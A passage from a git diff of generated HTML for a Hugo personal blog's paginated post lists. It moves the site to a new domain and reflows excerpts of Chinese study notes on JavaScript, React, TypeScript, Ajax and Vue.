+使用钩子函数 shouldComponentUpdate(nextProps, nextState)，该钩子函数是更新阶段的，组件重新渲染前执行...</p></div><footer class=entry-footer><span title='2021-07-25 12:00:00 +0000 UTC'>2021-07-25</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 深入学习React" href=https://chenjunlinabc.github.io/posts/63/></a></article><article class=post-entry><header class=entry-header><h2>JavaScript知识扩展</h2></header><div class=entry-content><p>函数被调用时，浏览器会传递两个参数，this和arguments
 this就是函数的上下文对象，而arguments是一个数组对象（也就是可以通过索引来操作数据），函数调用时传递的参数会在arguments中保存
 callee属性对应着当前的函数
 例如：
-function abc(){
-console.log(arguments.length);
-console.log(arguments[0]);
-console.log(arguments.callee);
-console.log(this)
-}
-abc('hallo');
-BOM对象 (Browser Object Model) 是指浏览器对象模型
+function abc(){ console.log(arguments.length); console.log(arguments[0]); console.log(arguments.callee); console.log(this) } abc('hallo'); BOM对象 (Browser Object Model) 是指浏览器对象模型
 该对象提供了浏览器行为和浏览器属性方法
 windows表示整个浏览器的窗口，同时也是JavaScript最顶层的对象，其他bom对象都是其的属性
 navigator包含了当前浏览器的全部信息
-console.log(window.navigator)
-可以看到输出了很多属性，如userAgent，language等等
+console.log(window.navigator) 可以看到输出了很多属性，如userAgent，language等等
 location表示当前浏览器地址信息，可以用来跳转到指定地址，获取当前页面的地址等等，例如：
-console.log(window.location)
-const urlData = "https://xiaochenabc123.test.com/;
-window.location.href = urlData;
-这个也可以实现跳转
-window.location.assign("https://xiaochenabc123.test.com")
-这个也可以实现跳转，不过这个不会生成历史记录，是直接用这个页面来替换当前页面
-window.location.replace("https://xiaochenabc123.test.com")
-reload方法可以重载页面，加上true参数将强制更新
-window.location.reload(true)
-history表示浏览器的历史记录
-console.log(window.history)
-length表示本次访问网站的数量
+console.log(window.location) const urlData = "https://xiaochenabc123.test.com/; window.location.href = urlData; 这个也可以实现跳转
+window.location.assign("https://xiaochenabc123.test.com") 这个也可以实现跳转，不过这个不会生成历史记录，是直接用这个页面来替换当前页面
+window.location.replace("https://xiaochenabc123.test.com") reload方法可以重载页面，加上true参数将强制更新
+window.location.reload(true) history表示浏览器的历史记录
+console.log(window.history) length表示本次访问网站的数量
 同时也提供了几个方法
 back()返回上个页面
 window.history.back()
@@ -179,8 +103,7 @@
 go()，前进或者后退指定次数，正数为前进，负数为后退
 window.history.go(-1)
 screen代表用户的屏幕的信息, 获取显示器的相关信息
-console.log(window.screen)
-call 和 apply
+console.log(window.screen) call 和 apply
 addEventListen()绑定事件函数
 removeEventListen()移除事件函数
 鼠标按下时onmousedown
@@ -191,8 +114,8 @@
 document.execCommand可以操作剪贴板
 document.execCommand(‘copy’) // 复制
 document.execCommand(‘cut’) // 剪切
-document.execCommand(‘paste’) // 粘贴...</p></div><footer class=entry-footer><span title='2021-07-18 22:35:00 +0000 UTC'>2021-07-18</span>&nbsp;·&nbsp;13 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to JavaScript知识扩展" href=https://xiaochenabc123.github.io/posts/61/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/page/14/>«&nbsp;Prev&nbsp;</a>
-<a class=next href=https://xiaochenabc123.github.io/page/16/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+document.execCommand(‘paste’) // 粘贴...</p></div><footer class=entry-footer><span title='2021-07-18 22:35:00 +0000 UTC'>2021-07-18</span>&nbsp;·&nbsp;13 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to JavaScript知识扩展" href=https://chenjunlinabc.github.io/posts/61/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/page/14/>«&nbsp;Prev&nbsp;</a>
+<a class=next href=https://chenjunlinabc.github.io/page/16/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/page/16/index.html b/page/16/index.html
index 0238e234..9167c86f 100644
--- a/page/16/index.html
+++ b/page/16/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta name=generator content="Hugo 0.111.3"><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>小陈的个人博客</title><meta name=keywords content="Blog,Portfolio,PaperMod"><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/index.xml><link rel=alternate type=application/json href=https://xiaochenabc123.github.io/index.json><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="小陈的个人博客"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="小陈的个人博客"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"Organization","name":"小陈的个人博客","url":"https://xiaochenabc123.github.io/","description":"小陈的个人博客","thumbnailUrl":"https://xiaochenabc123.github.io/favicon.ico","sameAs":["https://github.com/xiaochenabc123","mailto:xiaochenabc123@qq.com"]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span class=active>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-entry><header class=entry-header><h2>TypeScript学习笔记</h2></header><div class=entry-content><p>TypeScript设计目标是开发大型项目，编译成纯JavaScript，让其可以运行在任何浏览器上
+<!doctype html><html lang=en dir=auto><head><meta name=generator content="Hugo 0.119.0"><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>小陈的个人博客</title><meta name=keywords content="Blog,Portfolio,PaperMod"><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/index.xml><link rel=alternate type=application/json href=https://chenjunlinabc.github.io/index.json><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="小陈的个人博客"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="小陈的个人博客"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"Organization","name":"小陈的个人博客","url":"https://chenjunlinabc.github.io/","description":"小陈的个人博客","thumbnailUrl":"https://chenjunlinabc.github.io/favicon.ico","sameAs":["https://github.com/chenjunlinabc","mailto:chenjunlinabc123@foxmail.com"]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span class=active>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-entry><header class=entry-header><h2>TypeScript学习笔记</h2></header><div class=entry-content><p>TypeScript设计目标是开发大型项目，编译成纯JavaScript，让其可以运行在任何浏览器上
 TypeScript可以增强IDE的交互和反馈，主流IDE都支持TypeScript
 TypeScript实质上就是JavaScript的扩展，JavaScript超集
 TypeScript具备类型检查，静态类型，JSnext属性和方法，以及还在提案阶段的语法（例如装饰器）
@@ -34,13 +34,13 @@
 boolean布尔值，例如：
 let hallo: boolean = true
 number数值，例如：
-let hallo: number = 123;...</p></div><footer class=entry-footer><span title='2021-07-18 15:50:00 +0000 UTC'>2021-07-18</span>&nbsp;·&nbsp;10 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to TypeScript学习笔记" href=https://xiaochenabc123.github.io/posts/58/></a></article><article class=post-entry><header class=entry-header><h2>简单了解MVC，MVP和MVVM之间的不同与联系</h2></header><div class=entry-content><p>MVC（Model-View-Controller）分别为View（视图，用户界面），Model（模型，数据保存），Controller（控制器，逻辑）
+let hallo: number = 123;...</p></div><footer class=entry-footer><span title='2021-07-18 15:50:00 +0000 UTC'>2021-07-18</span>&nbsp;·&nbsp;10 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to TypeScript学习笔记" href=https://chenjunlinabc.github.io/posts/58/></a></article><article class=post-entry><header class=entry-header><h2>简单了解MVC，MVP和MVVM之间的不同与联系</h2></header><div class=entry-content><p>MVC（Model-View-Controller）分别为View（视图，用户界面），Model（模型，数据保存），Controller（控制器，逻辑）
 视图层发指令（Dom事件）给控制器，控制器完成逻辑处理，请求模型改变状态，模型将最新的数据发送给视图，得到反馈，各个之间通信是单向的
 也可以Controller接受指令，要求模型改变状态，模型将最新的数据发送给视图
 MVP（Model-View-Presenter）实质是就是将Controller（控制器，逻辑）改为Presenter（从模型中获取数据，并且提供数据给视图）
 各个通信之间是双向的，视图和模型并不联系，通过Presenter进行传递，全部逻辑都在Presenter进行处理
 MVVM（Model-View-ViewModel）实质上就是MVC的改进版，和MVP模式基本一致，不过MVVM采用了双向绑定，视图变化，自动反映在ViewModel中
-在前端中Model是用json表示，将Model和View关联起来的是ViewModel，Mode数据可以显示到View中，也可以将View修改回Mode</p></div><footer class=entry-footer><span title='2021-07-09 22:50:00 +0000 UTC'>2021-07-09</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单了解MVC，MVP和MVVM之间的不同与联系" href=https://xiaochenabc123.github.io/posts/56/></a></article><article class=post-entry><header class=entry-header><h2>React学习笔记</h2></header><div class=entry-content><p>React是构造用户界面的JavaScript库，就是负责视图层的，只负责视图的渲染，其特点是声明式，组件化
+在前端中Model是用json表示，将Model和View关联起来的是ViewModel，Mode数据可以显示到View中，也可以将View修改回Mode</p></div><footer class=entry-footer><span title='2021-07-09 22:50:00 +0000 UTC'>2021-07-09</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单了解MVC，MVP和MVVM之间的不同与联系" href=https://chenjunlinabc.github.io/posts/56/></a></article><article class=post-entry><header class=entry-header><h2>React学习笔记</h2></header><div class=entry-content><p>React是构造用户界面的JavaScript库，就是负责视图层的，只负责视图的渲染，其特点是声明式，组件化
 安装react
 npm i react react-dom
 必需：react和react-dom
@@ -49,57 +49,21 @@
 通常还需要导入babel来解析jsx（注意：在浏览器使用babel编译jsx效率很低，babel内嵌了对于jsx的支持），babel可以将es6语法转化为es5，方便运行在不支持es6的浏览器上
 也可以通过引入src文件的方式引入cdn文件或者本地文件
 第一个例子
-&lt;script type="text/babel">
-ReactDOM.render(
-&lt;h1>hallo,react!!!&lt;/h1>,
-document.getElementById("app")
-);
-&lt;/script>
-使用babel解析jsx，react官方推荐使用jsx，因为使用jsx渲染dom简单明了
+&lt;script type="text/babel"> ReactDOM.render( &lt;h1>hallo,react!!!&lt;/h1>, document.getElementById("app") ); &lt;/script> 使用babel解析jsx，react官方推荐使用jsx，因为使用jsx渲染dom简单明了
 jsx是一种JavaScript语法扩展，例如：
-const hallo = &lt;h1>hallo&lt;/h1>;
-像上面这种就是jsx，jsx本身是一个表达式，经过编译（例如babel）后jsx表达式会转换成JavaScript对象（注意：jsx不是标准的ECMAScript语法，是语法的扩展，不进行编译处理，直接使用是会报错的）
+const hallo = &lt;h1>hallo&lt;/h1>; 像上面这种就是jsx，jsx本身是一个表达式，经过编译（例如babel）后jsx表达式会转换成JavaScript对象（注意：jsx不是标准的ECMAScript语法，是语法的扩展，不进行编译处理，直接使用是会报错的）
 在jsx中插入JavaScript表达式，用大括号包含起来，例如：
-function hallo(yes){
-return yes.name;
-}
-const yes = {
-name: "react"
-};
-const hallo = &lt;h1>hallo,{hallo(yes)}&lt;/h1>;
-ReactDOM.render(
-hallo,
-document.getElementById("app")
-);
-当然react并没有强制要求必须使用jsx，例如：
-const hallo = React.createElement("h1",{class: "main"},React.createElement("p",null,"hallo word!!!"))
-/* 上面提供了三个参数，分别是元素名称，元素属性，元素的子节点 */
-ReactDOM.render(hallo,document.getElementById("app"))
-/* 上面提供了个两个参数，分别是要渲染的react元素，挂载点*/
-react脚手架
+function hallo(yes){ return yes.name; } const yes = { name: "react" }; const hallo = &lt;h1>hallo,{hallo(yes)}&lt;/h1>; ReactDOM.render( hallo, document.getElementById("app") ); 当然react并没有强制要求必须使用jsx，例如：
+const hallo = React.createElement("h1",{class: "main"},React.createElement("p",null,"hallo word!!!")) /* 上面提供了三个参数，分别是元素名称，元素属性，元素的子节点 */ ReactDOM.render(hallo,document.getElementById("app")) /* 上面提供了个两个参数，分别是要渲染的react元素，挂载点*/ react脚手架
 初始化项目
 npx create-react-app app
 启动项目（在项目根目录执行）
 npm start或者yarn start
-模块化导入react...</p></div><footer class=entry-footer><span title='2021-07-09 22:23:00 +0000 UTC'>2021-07-09</span>&nbsp;·&nbsp;6 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to React学习笔记" href=https://xiaochenabc123.github.io/posts/55/></a></article><article class=post-entry><header class=entry-header><h2>Ajax学习笔记</h2></header><div class=entry-content><p>ajax是浏览器提供的一套方法，可以实现页面无刷新更新数据
+模块化导入react...</p></div><footer class=entry-footer><span title='2021-07-09 22:23:00 +0000 UTC'>2021-07-09</span>&nbsp;·&nbsp;6 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to React学习笔记" href=https://chenjunlinabc.github.io/posts/55/></a></article><article class=post-entry><header class=entry-header><h2>Ajax学习笔记</h2></header><div class=entry-content><p>ajax是浏览器提供的一套方法，可以实现页面无刷新更新数据
 关于XMLHttpRequest对象（构造函数）的用法：https://xiaochenabc123.test.com/archives/14.html
 ajax需要网站环境下生效，需要web服务器，nodemon
 app.js
-// 导入express
-const express = require("express");
-// 导入path
-const patg = require("path");
-// 创建web服务器
-const app = express();
-// 静态资源访问服务
-app.use(express.static(path.join(__dirname,"public")));
-app.get("/hallo",(req, res) = >{
-res.send("hallo");
-});
-// 监听端口
-app.listen(3000);
-console.log("服务器启动成功")
-nodemon app.js
+// 导入express const express = require("express"); // 导入path const patg = require("path"); // 创建web服务器 const app = express(); // 静态资源访问服务 app.use(express.static(path.join(__dirname,"public"))); app.get("/hallo",(req, res) = >{ res.send("hallo"); }); // 监听端口 app.listen(3000); console.log("服务器启动成功") nodemon app.js
 ajax运行原理
 ajax代理浏览器发送请求和接收响应，达到局部更新页面数据的效果
 创建ajax对象
@@ -109,17 +73,10 @@
 发送请求
 hallo.send();
 获取服务端给予客户端的响应数据，因为请求和获取数据的速度取决于网络速度，应该设置onload事件，当加载完毕了再获取数据
-hallo.onload = function(){
-console.log(hallo.responseText)
-}
-服务端大部分情况下用json对象作为响应数据的格式，通过拼接json数据和html，将拼接的结果显示在页面中
+hallo.onload = function(){ console.log(hallo.responseText) } 服务端大部分情况下用json对象作为响应数据的格式，通过拼接json数据和html，将拼接的结果显示在页面中
 在http请求与响应的过程中，请求参数或者响应内容，如果是对象类型，最后都会转换为对象字符串进行传输，例如：
-app.get("/hallo",(req, res) = >{
-res.send({"name" : "root"});
-});
-json字符串转换为json对象
-var responseText = JSON.parse(hallo.responseText);
-console....</p></div><footer class=entry-footer><span title='2021-07-03 15:30:00 +0000 UTC'>2021-07-03</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Ajax学习笔记" href=https://xiaochenabc123.github.io/posts/54/></a></article><article class=post-entry><header class=entry-header><h2>深入学习vue组件</h2></header><div class=entry-content><p>组件注册
+app.get("/hallo",(req, res) = >{ res.send({"name" : "root"}); }); json字符串转换为json对象
+var responseText = JSON.parse(hallo.responseText); console....</p></div><footer class=entry-footer><span title='2021-07-03 15:30:00 +0000 UTC'>2021-07-03</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Ajax学习笔记" href=https://chenjunlinabc.github.io/posts/54/></a></article><article class=post-entry><header class=entry-header><h2>深入学习vue组件</h2></header><div class=entry-content><p>组件注册
 .component()接收2个参数，其中第一个参数是组件名（数据类型是字符串）
 组件名命名：
 全部小写，多个单词用连字符连接（-减号）
@@ -127,45 +84,17 @@
 组件被引用时，也必须是相同的名，例如：组件名是img-data，那么被引用时标签为，闭不闭合看组件的定义，如果组件的定义是img之类的，就不需要闭合
 直接暴露在vue实例的组件都是全局组件，可以直接在组件实例中调用
 局部组件是使用一个JavaScript对象进行定义封装，例如：
-&lt;div id="app">
-&lt;datas-a>&lt;/datas-a>
-&lt;/div>
-&lt;script>
-const datas ={
-template: `
-&lt;div>
-hallo
-&lt;/div>
-`
-}
-const hallo = Vue.createApp({
-components: {
-"datas-a" : datas
-}
-}).mount('#app')
-&lt;/script>
-components对象，键为自定义元素的名称，值为组件的实质对象
+&lt;div id="app"> &lt;datas-a>&lt;/datas-a> &lt;/div> &lt;script> const datas ={ template: ` &lt;div> hallo &lt;/div> ` } const hallo = Vue.createApp({ components: { "datas-a" : datas } }).mount('#app') &lt;/script> components对象，键为自定义元素的名称，值为组件的实质对象
 局部组件的属性是不能直接被调用的，但是可以在另一个组件中指向其为自己的子组件，例如：
-const datab ={
-components: {
-"datas-a" : dataa
-}
-}
-模块系统
+const datab ={ components: { "datas-a" : dataa } } 模块系统
 通过导入模块的方式导入组件，例如：
 import datas from ‘./datas’
 那么datas组件就是可以在当前使用了
 Props
 prop类型
 用对象的方式列出prop，并且定义其类型，当传入的prop类型不对就会报错（开发版本），例如：
-const hallo = Vue.createApp({
-component: {
-props:{
-abc: String,
-xyz: Boolean,
-},
-template: `&lt;h1>{{abc....</p></div><footer class=entry-footer><span title='2021-07-03 11:16:00 +0000 UTC'>2021-07-03</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 深入学习vue组件" href=https://xiaochenabc123.github.io/posts/53/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/page/15/>«&nbsp;Prev&nbsp;</a>
-<a class=next href=https://xiaochenabc123.github.io/page/17/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+const hallo = Vue.createApp({ component: { props:{ abc: String, xyz: Boolean, }, template: `&lt;h1>{{abc....</p></div><footer class=entry-footer><span title='2021-07-03 11:16:00 +0000 UTC'>2021-07-03</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 深入学习vue组件" href=https://chenjunlinabc.github.io/posts/53/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/page/15/>«&nbsp;Prev&nbsp;</a>
+<a class=next href=https://chenjunlinabc.github.io/page/17/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var 